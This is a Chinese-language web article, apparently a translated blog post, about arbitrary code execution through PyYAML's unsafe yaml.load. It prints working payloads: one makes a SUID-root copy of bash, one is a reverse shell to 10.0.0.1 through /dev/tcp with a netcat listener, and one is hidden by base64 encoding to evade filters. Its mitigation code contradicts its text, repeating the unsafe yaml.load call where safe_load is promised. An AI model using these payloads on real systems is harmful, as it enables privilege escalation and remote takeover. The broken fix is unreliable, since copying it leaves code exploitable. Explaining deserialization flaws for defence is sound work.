首页 > 后端开发 > Python教程 > 在 Python 中使用 YAML 时要小心!可能存在安全漏洞

在 Python 中使用 YAML 时要小心!可能存在安全漏洞

Patricia Arquette
发布: 2025-01-03 22:15:40
原创
686 人浏览过

Be Careful When Using YAML in Python! There May Be Security Vulnerabilities

Python 中的 YAML(YAML 不是标记语言)库已被确定存在允许在特定条件下执行任意命令的漏洞。该漏洞是由于使用 yaml.load 函数而未指定安全加载程序而引起的。默认情况下,yaml.load 可以执行任意 Python 对象,这为恶意负载创建了攻击面。

通过任意命令执行进行利用

根本风险在于反序列化过程。当 YAML 文档包含恶意负载时,yaml.load 会处理嵌入的指令,可能导致代码执行。例如,考虑以下代码片段:

import yaml

filename = "example.yml"
data = open(filename, 'r').read()
yaml.load(data)  # Unsafe usage
登录后复制
登录后复制

这里,yaml.load 函数不受限制地解析 example.yml,如果 YAML 内容包含不安全指令,则该函数很容易受到攻击。典型的漏洞利用负载可以被设计来执行任意系统命令。

有效负载示例

import yaml
from yaml import Loader, UnsafeLoader

# Malicious payload
payload = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'

# Exploitation
yaml.load(payload)
yaml.load(payload, Loader=Loader)
yaml.load(payload, Loader=UnsafeLoader)
登录后复制

每个调用都会处理有效负载,从而在 /tmp/bash 中创建特权可执行文件。然后可以使用提升的权限执行该二进制文件:

/tmp/bash -p
登录后复制

这表明,如果在权限配置错误或存在其他弱点的系统上利用该漏洞,则可能会出现权限提升的可能性。

反向 Shell 攻击

一个特别阴险的用例是利用该漏洞进行反向 shell。这使得攻击者能够远程访问目标计算机。该过程涉及在攻击者的计算机上启动侦听器并制作旨在建立反向连接的 YAML 文档。

在攻击者的机器上,启动 Netcat 监听器:

nc -lvnp 1234
登录后复制

在目标系统上,以 root 身份执行以下 Python 脚本:

import yaml

# Reverse shell payload
data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\""]'
yaml.load(data)  # Executes the reverse shell
登录后复制

此有效负载指示目标计算机连接回攻击者的侦听器,提供具有执行进程权限的完全交互式 shell。

用于混淆的 Base64 编码

要绕过基本的安全控制或过滤器,有效负载可以进行 Base64 编码。此方法添加了一层混淆,可能会逃避静态分析工具的检测。

例子

from base64 import b64decode
import yaml

# Base64-encoded payload
encoded_payload = b"ISFweXRa...YXNoIl0="  # Truncated for brevity
payload = b64decode(encoded_payload)

# Execute the payload
yaml.load(payload)
登录后复制

缓解技术

专业人员必须采用严格的编码实践来消除此类漏洞。建议的缓解措施包括:

  1. 使用安全加载器:将 yaml.load 替换为 yaml.safe_load,这样可以防止执行任意对象。

    import yaml
    
    filename = "example.yml"
    data = open(filename, 'r').read()
    yaml.load(data)  # Unsafe usage
    
    登录后复制
    登录后复制
  2. 限制输入源:确保 YAML 输入经过净化并且仅来自可信来源。

  3. 应用静态分析:使用工具扫描代码库是否存在不安全的 yaml.load 调用。

  4. 环境强化:限制系统权限以最大程度地减少利用的影响。例如,使用容器化环境限制了攻击者提升权限的能力。


YAML 库的默认行为体现了与 Python 等动态类型语言中的反序列化相关的风险。利用此漏洞所需的复杂程度极低,因此它成为安全应用程序开发的高优先级问题。采用安全的编码实践以及强大的输入验证和运行时保护措施对于有效减轻这些风险至关重要。

以上是在 Python 中使用 YAML 时要小心!可能存在安全漏洞的详细内容。更多信息请关注PHP中文网其他相关文章!

来源:dev.to
本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
作者最新文章
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板